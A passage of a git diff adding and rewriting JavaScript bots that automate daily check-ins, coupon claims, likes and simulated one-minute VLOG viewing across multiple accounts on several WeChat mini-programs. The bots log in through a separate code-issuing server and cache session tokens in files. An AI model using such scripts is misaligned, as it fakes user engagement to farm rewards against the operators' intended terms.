${error.message}`); - } - - if (i < tasks - 1) { - await $.wait(2000); - } - } - - $.log(`\n🎉 批量VLOG任务完成: ${completed}/${tasks} 个VLOG观看成功`); - return completed; + /** 每日观看骁友 VLOG 1 分钟 —— pages/vlog/detail.js,进入前先看任务开关 */ + async vlogTask() { + const cfg = await this.request(EP_SYS_CONFIG, { method: "POST", data: { propertyKey: VLOG_SWITCH_KEY } }); + if (isSuccess(cfg) && String(cfg.data?.propertyValue) === "0") { + this.log("🎬 VLOG 任务开关关闭,跳过"); + return; + } + const list = await this.request(EP_VLOG_LIST, { + data: { page: 1, size: 20, userId: this.userId, sortBy: 1 }, + }); + if (!isSuccess(list)) { + this.log(`❌ 读取 VLOG 列表失败: ${list.message || bizCode(list)}`); + return; + } + const records = list.data?.records || []; + const target = records.find((v) => Number(v.lookTimes || 0) < VLOG_SECONDS); + if (!target) { + this.log("🎬 列表里的 VLOG 观看时长都够了,跳过"); + return; + } + this.log(`🎬 开始观看: ${cut(target.title)}(已看 ${target.lookTimes || 0}s)`); + const enter = await this.request(EP_ENTER_READ, { + method: "POST", + data: { articleId: target.id, userId: this.userId }, + }); + if (!isSuccess(enter)) { + this.log(`❌ 进入 VLOG 失败: ${enter.message || bizCode(enter)}`); + return; + } + await this.request(EP_VLOG_PLAY, { data: { articleId: target.id } }); + const wait = VLOG_SECONDS + 5; + this.log(`⏳ 停留 ${wait}s(源码要求满 1 分钟)`); + await $.wait(wait * 1000); + const exit = await this.request(EP_EXIT_READ, { + method: "POST", + data: { articleId: target.id, userId: this.userId }, + }); + if (isSuccess(exit)) { + this.log("✅ VLOG 任务已提交"); } else { - $.log("❌ 无法获取VLOG列表"); - return 0; + this.log(`❌ 退出 VLOG 失败: ${exit.message || bizCode(exit)}`); } } -} -async function main() { - let cookies = []; - - if ($.isNode()) { - const raw = process.env[ckName] || ""; - cookies = raw.split(/[#&\n]/).filter(Boolean); - - if (!cookies.length) { - const fs = require('fs'); - try { - if (fs.existsSync(`${ckName}.txt`)) { - const content = fs.readFileSync(`${ckName}.txt`, 'utf8'); - cookies = content.split(/[#&\n]/).filter(Boolean); - } - } catch (e) { - } + /** + * 互动答题(+20):只读提示,不自动作答。 + * /api/interactQuestion/detail 只回题干和选项,不带正确答案;每天只有一次机会, + * 随机蒙一个会白白浪费掉,所以这里把题目打出来让人自己在小程序里答。 + */ + async quizNotice() { + const result = await this.request(EP_QUIZ_DETAIL, { method: "POST", data: { userId: this.userId } }); + if (!isSuccess(result)) return; + const data = result.data || {}; + if (Number(data.state) > 0) { + const correct = Number(data.questionAnswerRecord?.isCorrect) === 1; + this.log(`📝 互动答题: 今日已作答(${correct ? "答对" : "答错"})`); + return; } - } else { - const raw = $.getdata(ckName) || ""; - cookies = raw.split(/[#&\n]/).filter(Boolean); - } - - if (!cookies.length) { - $.log(`🔔 未找到变量【${ckName}】,请添加`); - $.log(`💡 CK格式: sessionKey#userId`); - $.log(`📝 配置方法:`); - $.log(` 1. Node.js: 设置环境变量 ${ckName}="sessionKey#userId"`); - $.log(` 2. 浏览器: 设置 localStorage.${ckName}="sessionKey#userId"`); - $.log(` 3. 本地文件: 创建 ${ckName}.txt 文件,每行一个 sessionKey#userId`); - return; + const q = data.question; + if (!q) return; + const options = (q.answers || []).map((a) => `${a.answerNo}.${a.answer}`).join(" "); + this.log(`📝 互动答题未作答(+20),接口不返回正确答案,需自己在小程序里答:`); + this.log(` ${cut(q.question, 80)}`); + if (options) this.log(` ${options}`); } - const accounts = []; - for (let i = 0; i < cookies.length; i += 2) { - if (cookies[i] && cookies[i + 1]) { - accounts.push(`${cookies[i]}#${cookies[i + 1]}`); - } else if (cookies[i] && cookies[i].includes('#')) { - accounts.push(cookies[i]); + /** 收尾对账:taskDaily 的 status 1 = 已完成 */ + async summary() { + const result = await this.request(EP_TASK_DAILY, { data: { userId: this.userId } }); + if (!isSuccess(result)) return; + const rows = (result.data || []).map((t) => `${Number(t.status) === 1 ? "✔" : "✘"}${stripHtml(t.name)}`); + if (rows.length) this.log(`每日任务: ${rows.join(" ")}`); + const info = await this.request(EP_USER_INFO, { data: { userId: this.userId } }); + if (isSuccess(info) && info.data) { + this.log(`💰 芯动值 ${info.data.coreCoin} | 等级 ${info.data.levelName || info.data.level}`); } } - if (!accounts.length) { - $.log("❌ CK格式错误,请检查是否为 'sessionKey#userId' 格式"); - return; - } + async run() { + if (!(await this.login())) return; + this.log(`【${this.userInfo.nick || "-"}】${maskPhone(this.userInfo.phone)} 芯动值 ${this.userInfo.coreCoin}`); - $.log(`🎯 共加载 ${accounts.length} 个账号`); + await this.signTask(); + await this.drawTask(); - for (let i = 0; i < accounts.length; i++) { - const account = accounts[i]; - $.log(`\n📱 开始处理账号 ${i + 1}/${accounts.length}`); - - try { - const xlxyh = new XLXYH(account); - - await xlxyh.run(); - - const vlogCount = 1; // 只观看1个VLOG - await xlxyh.batchHandleVlogs(vlogCount); - - if (i < accounts.length - 1) { - await $.wait(3000); - } - } catch (error) { - $.log(`❌ 账号 ${i + 1} 处理失败: ${error.message}`); - } - } + const articles = await this.fetchArticles(); + if (articles.length) await this.likeTask(articles); + await this.quizNotice(); - if ($.isNode()) { - try { - if (process.env.NOTIFY_TOKEN || process.env.PUSH_PLUS_TOKEN || process.env.SERVER_CHAN_TOKEN) { - await sendNotify($.name, $.logs.join("\n")); - } - } catch (error) { + if (READ_TASK) { + if (articles.length) await this.readTask(articles); + await this.vlogTask(); + } else { + this.log("⏭ wx_xlxyh_read_task=0,跳过阅读 5 分钟 / VLOG 1 分钟"); } - } - $.log("\n🎉 所有账号处理完成!"); + await this.summary(); + } } -main().catch(e => { - $.log(`❌ 脚本异常: ${e.message || e}`); - console.error(e.stack); -}).finally(() => { - $.done(); -}); - -async function sendNotify(title, content) { - if (!content) return; - - const notifyTokens = [ - process.env.NOTIFY_TOKEN, - process.env.PUSH_PLUS_TOKEN, - process.env.SERVER_CHAN_TOKEN - ].filter(token => token); - - for (const token of notifyTokens) { +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量【${ckName}】:填 wx_server 里的 openid,多账号用 & 或换行`); + return; + } + if (!process.env.wx_auth) $.log("提示: 未配置 wx_auth,只能用旧格式 sessionKey#userId 运行"); + for (const user of $.userList) { try { - const notify = require('sendNotify'); - await notify.sendNotify(title, content); - break; - } catch (error) { + await new Task(user).run(); + } catch (e) { + $.log(`账号处理异常: ${e.message || e}`); } } -} +})() + .catch((e) => $.log(`脚本异常: ${e.message || e}`)) + .finally(() => $.done()); diff --git a/wxapp/wxzf.js b/wxapp/wxzf.js new file mode 100644 index 00000000..4e0f5b96 --- /dev/null +++ b/wxapp/wxzf.js @@ -0,0 +1,228 @@ +/* +------------------------------------------ +@Description: 微信支付-提现笔笔省 - 微信小程序静默登录 + 每日领券(提现免费券) +cron: 12 11 * * * +------------------------------------------ +变量名:wxzf +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxdb3c0e388702f785,host discount.wxpapp.wechatpay.cn): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录;登录用 wx.login code 放 jscode 头,GET) + +登录 GET /txbbs-user/user/login 头 jscode: + -> errcode==0,data.session_token(=后续 Session-Token 头) +余额 GET /txbbs-mall/cashoutfree/getbalance 头 Session-Token + -> errcode==0,data.balance(分,//100=元 提现免费券) +列券 GET /txbbs-mall/gift/listgifts?longitude=0&latitude=0 + -> errcode==0,data.gift_info_list +领券 POST /txbbs-mall/gift/redeemgift {gift_id} + -> errcode==0(仅领 gift_type==GT_COUPON 且 gift_status==GS_AVAILABLE) +本程序无 daily-sign 端点,每日动作为“领取可用的提现免费券”。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("提现笔笔省领券"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "wxzf"; +const MINI_APP_ID = "wxdb3c0e388702f785"; +const HOST = "discount.wxpapp.wechatpay.cn"; +const BASE = `https://${HOST}`; +const TOKEN_CACHE_FILE = path.join(__dirname, "wxzf_token_cache.json"); +const UA = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 XWEB/1340129 MMWEBSDK/20240301 MMWEBID/9871 " + + "MicroMessenger/8.0.48.2580(0x28003036) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android"; + +const EP_LOGIN = "/txbbs-user/user/login"; +const EP_BALANCE = "/txbbs-mall/cashoutfree/getbalance"; +const EP_GIFTS = "/txbbs-mall/gift/listgifts?longitude=0&latitude=0"; +const EP_REDEEM = "/txbbs-mall/gift/redeemgift"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 300) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +// 成功码:优先 errcode,再兜底其它常见壳 +function okCode(res) { + if (!res || typeof res !== "object") return false; + for (const k of ["errcode", "code", "errno", "ret", "resultCode", "status"]) { + if (res[k] !== undefined && res[k] !== null) { + const v = res[k]; + if (v === 0 || v === "0" || v === 200 || v === "200" || v === true || v === "success") return true; + return false; // 该壳存在但非成功 + } + } + return false; +} +function msgOf(res) { + if (!res || typeof res !== "object") return short(res); + return res.msg || res.message || res.errmsg || res.retInfo || res.error || short(res); +} +const NEED_REGISTER = /未注册|未激活|未绑定|请先|去授权|去登录|授权|绑定手机|实名|开通/; +const TOKEN_INVALID = /token|登录|未授权|失效|过期|未登录|鉴权|请重新|401|session/i; + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async request(method, apiPath, { body, jscode } = {}) { + const headers = { + Host: HOST, authority: HOST, "User-Agent": UA, Accept: "*/*", + "Content-Type": "application/json", xweb_xhr: "1", + Referer: `https://servicewechat.com/${MINI_APP_ID}/1/page-frame.html`, + }; + if (jscode) headers.jscode = jscode; + if (this.token) headers["Session-Token"] = this.token; + const res = await axios.request({ + method, url: `${BASE}${apiPath}`, data: method === "POST" ? (body || {}) : undefined, + headers, timeout: 20000, validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await this.request("GET", EP_LOGIN, { jscode: code }); + if (!okCode(res)) { + const msg = msgOf(res); + if (NEED_REGISTER.test(String(msg))) { this.unregistered = true; throw new Error(`NO_ACCOUNT:${msg}`); } + throw new Error(`登录失败: ${msg}`); + } + const d = res.data || {}; + this.token = String(d.session_token || d.sessionToken || d.token || ""); + if (!this.token) { + // errcode==0 但无 token:常见为未注册/需在小程序内先授权 + this.unregistered = true; + throw new Error(`NO_ACCOUNT:登录成功但未返回 session_token(${short(res)})`); + } + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + async getBalance() { + const res = await this.request("GET", EP_BALANCE); + if (okCode(res)) return { ok: true, yuan: Math.floor(Number((res.data || {}).balance || 0) / 100), raw: res }; + return { ok: false, msg: msgOf(res), raw: res }; + } + async listGifts() { + const res = await this.request("GET", EP_GIFTS); + if (okCode(res)) return { ok: true, gifts: (res.data || {}).gift_info_list || [], raw: res }; + return { ok: false, msg: msgOf(res), raw: res }; + } + async redeem(giftId) { + const res = await this.request("POST", EP_REDEEM, { body: { gift_id: giftId } }); + if (okCode(res)) { + const info = (res.data || {}).gift_info || {}; + const name = (info.coupon_info || {}).name || info.name || "优惠券"; + return { ok: true, name }; + } + return { ok: false, msg: msgOf(res) }; + } + // 每日动作:查余额 -> 领可用券 -> 再查余额 + async doTask(retry = true) { + // 1) 余额(同时校验 token 是否有效) + let bal = await this.getBalance(); + if (!bal.ok) { + if (retry && TOKEN_INVALID.test(String(bal.msg))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + const cache = readCache(); delete cache[this.account.openid]; writeCache(cache); + await this.login(); + return this.doTask(false); + } + if (NEED_REGISTER.test(String(bal.msg))) { this.log(`⚠️ 未注册/未激活(${bal.msg})`); this.unregistered = true; return; } + this.log(`❌ 查询余额失败: ${bal.msg}`); + return; + } + this.log(`当前提现免费券余额: ${bal.yuan} 元`); + + // 2) 列券并领取可用券 + const gl = await this.listGifts(); + if (!gl.ok) { this.log(`❌ 获取券列表失败: ${gl.msg}`); return; } + const avail = gl.gifts.filter((g) => g && g.gift_type === "GT_COUPON" && g.gift_status === "GS_AVAILABLE"); + if (!avail.length) { + this.log(`✅ 今日无可领取的提现免费券(共 ${gl.gifts.length} 项,均已领/不可领)`); + } else { + let got = 0; + for (const g of avail) { + const r = await this.redeem(g.gift_id); + if (r.ok) { got++; this.log(`✅ 领取成功: ${r.name}`); } + else this.log(`❌ 领取失败(${g.gift_id}): ${r.msg}`); + await $.wait(1500, 2500); + } + this.log(got ? `✅ 本次共领取 ${got} 张提现免费券` : "❌ 可领券均领取失败"); + } + + // 3) 再查余额 + const bal2 = await this.getBalance(); + if (bal2.ok) this.log(`领取后提现免费券余额: ${bal2.yuan} 元`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.doTask(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没在“提现笔笔省”注册/激活,先在小程序里打开授权一次再跑(${String(e.message).replace(/^NO_ACCOUNT:/, "")})`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/wzy.js b/wxapp/wzy.js new file mode 100644 index 00000000..5388aa3e --- /dev/null +++ b/wxapp/wzy.js @@ -0,0 +1,258 @@ +/* +------------------------------------------ +@Description: 喂自由(达能爱他美育儿中心) - 微信小程序静默登录 + 每日签到 +cron: 16 10 * * * +------------------------------------------ +变量名:wzy +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx75813e4a771649e5,host phapi.nutriciaeln.com.cn): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +网关头:x-ca-key=CA_KEY / x-ca-signature-method:HmacSHA256 / x-ca-timestamp(ms) / + x-ca-nonce:"" / x-ca-signature:""(原脚本签名/nonce 为空,网关不校验签名,无需 HMAC) + version:1.0 / Authorization:Bearer (登录后) +登录 POST /auth/v1/miniapp/login {code,appid} + -> code==200,data.access_token(=token);同时 data.uuid/expirTime/openId/unionId + 有 openId 但无 access_token = 该微信号未在喂自由注册会员 +状态 POST /activity/v1/miniapp/sign/MGM_SIGN {} -> code==200,data.continueDays / data.signList(末项 status==1=今日已签) +签到 POST /activity/v1/miniapp/sign/sign/MGM_SIGN {} -> 外层 code==200; + 内层 data.code=="10002"=今日已签,data.code==200 && data.value==1=签到成功 + 内层 data.code=="10001"/text=="活动已结束"=当前无每日签到活动 +CA_KEY / ACTIVITY_CODE(MGM_SIGN) 是该小程序固定应用常量(原脚本硬编码,非个人凭证)。 + +现状(2026-08 实测,号1 owNAX6vpz…):code 登录/取 token/自由金查询全部正常,但每日签到 + /activity/v1/miniapp/sign/sign/<任意code> 一律返回 {code:"10001","text":"活动已结束"} + (连 BOGUS 码也一样),且任务列表只剩一次性/可重复任务(完善信息/扫罐码/体验工具/看知识/ + 浏览专题)+邀请有礼月榜,无每日签到 → 喂自由已整体下线每日签到,当前判 not_sign。 + 脚本保留完整签到流程:一旦官方重新上线签到活动即可直接生效。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("喂自由签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "wzy"; +const MINI_APP_ID = "wx75813e4a771649e5"; +const BASE_URL = "https://phapi.nutriciaeln.com.cn"; +const CA_KEY = "203753385"; +const VERSION = "1.0"; +const ACTIVITY_CODE = "MGM_SIGN"; +const PAGE_VERSION = "100"; +const TOKEN_CACHE_FILE = path.join(__dirname, "wzy_token_cache.json"); +const UA = + "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4 like Mac OS X) AppleWebKit/605.1.15 " + + "(KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.75(0x18004b2b) NetType/WIFI Language/zh_CN"; + +const EP_LOGIN = "/auth/v1/miniapp/login"; +const EP_SIGN_DETAIL = `/activity/v1/miniapp/sign/${ACTIVITY_CODE}`; +const EP_SIGN = `/activity/v1/miniapp/sign/sign/${ACTIVITY_CODE}`; +const EP_CREDIT = "/activity/v1/miniapp/credit/getUserCredit"; +const EP_USERINFO = "/user/v1/miniapp/member/my"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 220) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + buildHeaders() { + const headers = { + Host: "phapi.nutriciaeln.com.cn", + Accept: "application/json", + "Content-Type": "application/json", + "User-Agent": UA, + "x-ca-key": CA_KEY, + "x-ca-signature-method": "HmacSHA256", + "x-ca-timestamp": String(Date.now()), + "x-ca-nonce": "", + "x-ca-signature": "", + "x-ca-signature-headers": "x-ca-timestamp,x-ca-key,x-ca-nonce,x-ca-signature-method", + version: VERSION, + web_id: "", + deviceId: "", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + }; + if (this.token) headers.Authorization = `Bearer ${this.token}`; + return headers; + } + async request(method, apiPath, data) { + const res = await axios.request({ + method, + url: `${BASE_URL}${apiPath}`, + data: method === "POST" ? (data || {}) : undefined, + params: method === "GET" ? data : undefined, + headers: this.buildHeaders(), + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200 && !(res.data && typeof res.data === "object")) { + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data || {}; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await this.request("POST", EP_LOGIN, { code, appid: MINI_APP_ID }); + const data = res.data || {}; + const token = data.access_token || data.accessToken || ""; + if (Number(res.code) === 200 && token) { + this.token = String(token); + const cache = readCache(); + cache[this.account.openid] = { + token: this.token, + uuid: data.uuid || "", + expirTime: data.expirTime || "", + updatedAt: new Date().toISOString(), + }; + writeCache(cache); + this.log("登录成功"); + return; + } + // 有 openId/unionId 但无 access_token = 该微信号未在喂自由注册会员 + const oid = data.openId || data.unionId; + const msg = res.msg || res.message || short(res); + if (oid && !token) { this.unregistered = true; throw new Error(`NO_ACCOUNT:登录返回 openId 但无 token`); } + if (Number(res.code) !== 200 && /注册|未激活|会员|绑定|授权|未登录/.test(String(msg))) { + this.unregistered = true; + throw new Error(`NO_ACCOUNT:${msg}`); + } + throw new Error(`登录失败: ${msg}`); + } + isAuthErr(resp) { + const code = Number(resp && resp.code); + const msg = String((resp && (resp.msg || resp.message)) || ""); + if ([401, 403, 4001, 4003, 10401].includes(code)) return true; + return /token|登录|未授权|失效|过期|未登录|鉴权|无效/i.test(msg); + } + async getSignDetail() { + const res = await this.request("POST", EP_SIGN_DETAIL, {}); + return res; + } + async doSign() { + return this.request("POST", EP_SIGN, {}); + } + async logCredit() { + try { + const res = await this.request("GET", EP_CREDIT, null); + if (Number(res.code) === 200) { + const credit = (res.data || {}).credit; + if (credit !== undefined) this.log(`自由金余额: ${credit}`); + } + } catch (e) { /* 非致命 */ } + } + async sign(retry = true) { + // 先查状态(拿连续天数 + 今日是否已签) + const detail = await this.getSignDetail(); + if (Number(detail.code) !== 200) { + if (retry && this.isAuthErr(detail)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + const dmsg = detail.msg || detail.message || short(detail); + if (/注册|未激活|会员|绑定/.test(String(dmsg))) { this.unregistered = true; throw new Error(`NO_ACCOUNT:${dmsg}`); } + // 状态查询失败不阻断,继续尝试直接签到 + this.log(`签到状态查询失败(${dmsg}),直接尝试签到`); + } + const dData = detail.data || {}; + const continueDays = dData.continueDays; + const signList = Array.isArray(dData.signList) ? dData.signList : []; + const todaySigned = signList.length > 0 && signList[signList.length - 1].status === 1; + if (todaySigned) { + return this.log(`✅ 今日已签到${continueDays !== undefined ? `,已连续 ${continueDays} 天` : ""}`); + } + + const r = await this.doSign(); + const d = r.data || {}; + const innerCode = String(d.code); + const text = d.text || ""; + if (Number(r.code) === 200) { + // 10001 / “活动已结束”:服务端当前无每日签到活动(喂自由已把签到活动整体下线,仅剩一次性任务+邀请榜) + if (innerCode === "10001" || /活动已结束|活动不存在|活动未开始|暂未开始/.test(String(text))) { + return this.log(`ℹ️ 当前无每日签到活动(${text || "活动已结束"})——喂自由已下线每日签到,改为一次性任务/邀请榜`); + } + if (innerCode === "10002") return this.log(`✅ 今日已签到(${text || "已签"})`); + if (innerCode === "200" && Number(d.value) === 1) return this.log(`✅ 签到成功${text ? `:${text}` : ""}${continueDays !== undefined ? `,已连续 ${(continueDays || 0) + 1} 天` : ""}`); + if (/成功|已签|签到过|重复/.test(String(text))) return this.log(`✅ 签到成功(${text})`); + return this.log(`签到结果:${text || short(r)}`); + } + const msg = r.msg || r.message || short(r); + if (/已签|签到过|重复|已完成/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + if (retry && this.isAuthErr(r)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + await this.logCredit(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没在喂自由注册会员(${String(e.message).replace(/^NO_ACCOUNT:/, "")}),先在小程序里登录注册一次再跑`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/xchy.js b/wxapp/xchy.js new file mode 100644 index 00000000..27f780f1 --- /dev/null +++ b/wxapp/xchy.js @@ -0,0 +1,294 @@ +/* +------------------------------------------ +@Description: 携程会员 - 微信小程序静默登录 + 每日签到 +cron: 24 7,19 * * * +------------------------------------------ +变量名:xchy +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx0e6ed4f51db9d078,passport.ctrip.com / m.ctrip.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录;登录仅需 wx code,无需明文 openid/加密手机号) + +登录三步(PASSPORT gateway,均包 {ReturnCode,Result},ReturnCode==0 且 Result.resultStatus.returnCode==0): + 1) soa2/14553/wechatLogin.json {AccountHead:{},Data:{authCode:code,thirdConfigCode:ACCESS_CODE,Context:{}}} -> Result.wechatCode + 2) soa2/14553/authenticate.json {AccountHead:{},Data:{authCode:wechatCode,thirdType:"wechat_app",thirdConfigCode:ACCESS_CODE,context:{encryptedData:"",iv:"",uuid:""}}} -> Result.token + 3) soa2/12559/thirdPartyLogin.json {...token,extendedProperties:{clientID:CLIENT_ID,thirdConfigCode:ACCESS_CODE,...}} -> Result.ticket(=cticket cookie)/duid/udl/uid +签到状态 POST m.ctrip.com/restapi/soa2/13012/getSignTodayInfoProxy (带 _fxpcqlniredt=CLIENT_ID + head.auth=ticket) + 注意:携程"运行态校验"可能 401 code=11001 拦截此代理接口 +签到 POST m.ctrip.com/restapi/soa2/22769/signToday {openId} 头 Cookie: cticket= -> ResponseStatus.Ack=Success +ACCESS_CODE(XTHYY69RNSKLWEICHATMINI)/CLIENT_ID/PACKAGE_VERSION 是这家小程序固定应用常量(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("携程会员签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "xchy"; +const MINI_APP_ID = "wx0e6ed4f51db9d078"; +const PACKAGE_VERSION = "1055"; +const CLIENT_ID = "09031101311473737701"; +const ACCESS_CODE = "XTHYY69RNSKLWEICHATMINI"; +const API_BASE = "https://m.ctrip.com"; +const PASSPORT_BASE = "https://passport.ctrip.com/gateway/api"; +const TOKEN_CACHE_FILE = path.join(__dirname, "xchy_token_cache.json"); +const UA_MP = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const DEBUG = process.env.xchy_debug === "1"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 300) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function mask(value = "") { + value = String(value); + if (!value) return ""; + if (value.length <= 12) return `${value.slice(0, 3)}***`; + return `${value.slice(0, 6)}***${value.slice(-6)}`; +} +function parseJsonMaybe(text) { + if (!text || typeof text !== "string") return text; + try { return JSON.parse(text); } catch { return text; } +} +function okResponseStatus(data) { + return data?.ResponseStatus?.Ack === "Success" || data?.responseStatus?.ack === "Success"; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.openid = this.account.openid || ""; + this.ticket = ""; + this.duid = ""; + this.udl = ""; + this.uid = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + async getCode() { + const { data } = await wechat.getCode(this.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new 